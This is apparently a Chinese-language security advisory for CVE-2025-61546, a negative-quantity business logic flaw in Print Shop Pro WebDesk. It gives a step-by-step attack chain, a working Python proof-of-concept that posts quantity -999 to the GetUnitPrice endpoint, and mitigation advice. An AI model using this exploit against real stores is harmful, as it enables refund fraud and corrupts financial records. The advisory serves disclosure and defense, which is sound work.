IPBUF安全漏洞报告
English
CVE-2025-61546 CVSS 9.1 严重

CVE-2025-61546 Print Shop Pro WebDesk 负数量购买业务逻辑漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-61546
漏洞类型
业务逻辑漏洞
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
edu Business Solutions Print Shop Pro WebDesk

相关标签

业务逻辑漏洞输入验证不足Print Shop Pro WebDeskedu Business Solutions负数量绕过财务欺诈CVE-2025-61546ASP.NETWeb应用漏洞服务端验证缺失

漏洞概述

CVE-2025-61546是edu Business Solutions公司开发的Print Shop Pro WebDesk软件中的一个严重业务逻辑漏洞。该漏洞存在于WebDesk应用程序的/PSP/appNET/Store/CartV12.aspx/GetUnitPrice端点中,版本18.34及之前版本受影响,已在19.69版本中修复。漏洞允许未经身份验证的远程攻击者通过购买负数量商品来创建财务差异,从而可能导致经济损失或系统财务数据被篡改。此漏洞的根本原因在于应用程序过度依赖客户端输入验证控制,而没有在服务器端进行充分的验证。攻击者可以轻松绕过客户端的JavaScript验证,直接向服务器端点发送带有负数数量的恶意请求。由于服务器端缺少对数量参数的合法性检查,负数数量会被系统正常处理,导致订单金额计算错误。攻击者可利用此漏洞进行多种恶意操作,包括但不限于:生成负金额订单、骗取退款、破坏财务记录完整性等。由于该漏洞无需认证即可利用,且CVSS评分高达9.1(严重级别),对使用该软件的组织和机构构成了重大安全风险。建议所有使用受影响版本的用户立即采取修复措施。

技术细节

该漏洞的技术原理涉及客户端验证与服务器端验证的不一致性。Print Shop Pro WebDesk的购物车功能在CartV12.aspx页面中实现了GetUnitPrice接口,该接口用于计算购物车中商品的单价和总价。正常情况下,前端JavaScript会限制用户输入正数的商品数量,但攻击者可以通过拦截HTTP请求并修改参数值来绕过这一限制。具体利用过程如下:攻击者首先访问WebDesk的购物车功能,选择任意商品后,通过Burp Suite等代理工具拦截发送到GetUnitPrice端点的AJAX请求。将请求中的quantity参数修改为负数值(如-999),然后重新发送请求。服务器端接收到带有负数数量的请求后,由于缺少服务器端验证,系统会正常处理该请求并返回计算结果。负数数量乘以商品单价会产生负的总价,这个负金额会被写入购物车会话。当用户提交订单时,这个负金额订单可能被系统接受,导致财务差异。攻击者可以利用这种负金额订单来骗取系统退款或进行其他欺诈活动。修复方案需要在服务器端实现严格的输入验证,确保数量参数始终为正整数,同时移除对客户端验证的任何依赖。

攻击链分析

STEP 1
步骤1
攻击者访问Print Shop Pro WebDesk的购物车页面(/PSP/appNET/Store/CartV12.aspx),选择目标商品进行购买操作
STEP 2
步骤2
攻击者使用Burp Suite等代理工具拦截前端发送到GetUnitPrice端点的AJAX请求
STEP 3
步骤3
攻击者修改请求中的quantity参数值,将其从正数改为负数(如-999、-1000等)
STEP 4
步骤4
修改后的请求被发送到服务器端点/PSP/appNET/Store/CartV12.aspx/GetUnitPrice
STEP 5
步骤5
服务器端缺少对负数数量的验证逻辑,直接使用客户端提供的负数数量进行价格计算
STEP 6
步骤6
系统计算得出负的总价金额(负数量 × 单价),该负金额被写入购物车会话
STEP 7
步骤7
攻击者提交订单,利用负金额订单进行财务欺诈,如骗取退款或获取系统信用额度

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-61546 PoC - Print Shop Pro WebDesk Negative Quantity Bypass This PoC demonstrates the business logic vulnerability in GetUnitPrice endpoint where negative quantity values can be used to create financial discrepancies. """ import requests import json import sys def exploit_negative_quantity(target_url, product_id, negative_qty): """ Exploit the negative quantity vulnerability in Print Shop Pro WebDesk Args: target_url: Base URL of the vulnerable application product_id: ID of the product to purchase negative_qty: Negative quantity to send (e.g., -999) Returns: dict: Response from the server """ endpoint = f"{target_url}/PSP/appNET/Store/CartV12.aspx/GetUnitPrice" # Construct the malicious payload with negative quantity payload = { "productId": product_id, "quantity": negative_qty, # Negative value to exploit "unitPrice": 100.00 # Normal unit price } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "X-Requested-With": "XMLHttpRequest" } print(f"[*] Target: {endpoint}") print(f"[*] Sending malicious request with quantity={negative_qty}") try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: data = response.json() if 'd' in data: result = data['d'] if isinstance(result, dict) and 'TotalPrice' in result: total_price = result['TotalPrice'] if total_price < 0: print(f"[!] VULNERABLE: Negative price calculated: {total_price}") print("[!] This can be used for financial fraud!") return {"vulnerable": True, "total_price": total_price} return {"vulnerable": False} except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return {"error": str(e)} if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-61546_poc.py <target_url> <product_id>") print("Example: python cve-2025-61546_poc.py http://vulnerable-server.com 12345") sys.exit(1) target = sys.argv[1] product = sys.argv[2] # Test with a negative quantity value result = exploit_negative_quantity(target, product, -999) if result.get('vulnerable'): print("\n[+] Vulnerability confirmed!") print(f"[+] Attacker can create order with total price: {result['total_price']}")

影响范围

Print Shop Pro WebDesk < 19.69
Print Shop Pro WebDesk 18.34 及之前版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)在Web应用防火墙(WAF)上配置规则,拦截包含负数quantity参数的请求;2)在负载均衡器或反向代理层面添加输入过滤,拒绝负数值的参数;3)临时禁用GetUnitPrice端点或将其访问权限限制为可信IP;4)增加订单金额阈值监控,当检测到异常负金额订单时自动告警并阻止订单提交;5)加强对财务对账系统的监控,及时发现和处置异常交易记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表